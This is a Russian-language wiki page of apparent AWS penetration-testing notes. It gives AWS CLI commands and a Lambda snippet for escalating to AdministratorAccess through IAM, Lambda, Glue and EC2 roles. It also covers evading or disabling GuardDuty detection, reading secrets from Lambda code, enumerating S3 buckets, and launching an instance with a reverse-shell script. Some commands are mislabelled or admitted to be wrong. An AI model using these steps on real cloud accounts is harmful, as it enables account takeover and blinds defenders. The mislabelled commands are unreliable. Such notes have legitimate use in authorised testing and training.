==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить политику к пользователю. Если существует политика, дающая админские права - повышение.&lt;br /&gt;
&lt;br /&gt;
== AWS Shield ==&lt;br /&gt;
&lt;br /&gt;
Сервис для защиты от DDoS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cognito ==&lt;br /&gt;
&lt;br /&gt;
Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения.&lt;br /&gt;
&lt;br /&gt;
=== Основное ===&lt;br /&gt;
&lt;br /&gt;
Cognito отвечает за следующие действия:&lt;br /&gt;
&lt;br /&gt;
* Регистрация пользователя (email + пароль)&lt;br /&gt;
&lt;br /&gt;
* Авторизация пользователя&lt;br /&gt;
&lt;br /&gt;
* Работа с сохраненной пользовательской информацией (устанавливается приложением)&lt;br /&gt;
&lt;br /&gt;
* Специальные действия (например, предоставление AWS-ключей)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Все общение идет по HTTP(s). Особенность системы в том, что Cognito общается как напрямую с чужим веб-сайтом, так и напрямую с клиентским браузером. То есть веб-сервер не знает, какой был передан пароль (в нормальной реализации).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример URL: cognito-identity.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
За действие отвечает HTTP-заголовок &amp;quot;X-Amz-Target&amp;quot;. В своем роде, это Endpoints API.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Какие параметры требуются для работы с ним:&lt;br /&gt;
&lt;br /&gt;
1. Название Endpoint'а  - &amp;quot;X-Amz-Target&amp;quot; заголовок&lt;br /&gt;
&lt;br /&gt;
2. Регион - &amp;quot;aws_project_region&amp;quot; параметр&lt;br /&gt;
&lt;br /&gt;
3. Session token - позже требуется для запросов.&lt;br /&gt;
&lt;br /&gt;
4. Identity Pool ID - нужен для запросов типа Identity Pools.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также пишут, что Cognito разделяется на две основные части:&lt;br /&gt;
&lt;br /&gt;
* User Pools  - для тех, кому нужна только регистрация и аутентификация&lt;br /&gt;
&lt;br /&gt;
* Identity Pools - для тех, кому еще и нужен доступ к AWS-ресурсам.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== X-Amz-Target (Endpoints) ===&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.UpdateUserAttributes ====&lt;br /&gt;
&lt;br /&gt;
У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее.&lt;br /&gt;
&lt;br /&gt;
Также раньше можно было менять поле email'а пользователя (0day): https://infosecwriteups.com/hacking-aws-cognito-misconfiguration-to-zero-click-account-takeover-36a209a0bd8a&lt;br /&gt;
&lt;br /&gt;
Важно! Указано, что могут быть отправки СМС-уведомлений, так что тестировать осторожно.&lt;br /&gt;
&lt;br /&gt;
P.S. Мб неверно название Endpoint'а. Надо проверять.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить AWS ключи для работы с AWS-консолью. По-умолчанию отключено.&lt;br /&gt;
&lt;br /&gt;
Требуется aws_identity_pool_id.&lt;br /&gt;
&lt;br /&gt;
В некоторых примерах оно также было указано как &amp;quot;com.amazonaws.cognito.identity.model.AWSCognitoIdentityService.GetCredentialsForIdentity&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить OpenID токен, действительный на 10 минут.&lt;br /&gt;
&lt;br /&gt;
В примере требуется только &amp;quot;IdentityID&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdTokenForDeveloperIdentity ====&lt;br /&gt;
&lt;br /&gt;
Тоже позволяет получить OpenID токен, действительный на 10 минут. Но также создает новый &amp;quot;IdentityID&amp;quot; (если он не был указан).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Получить учетные данные пользователя по IdentityID: SecretKey, SessionToken, AccessKeyID.&lt;br /&gt;
&lt;br /&gt;
https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
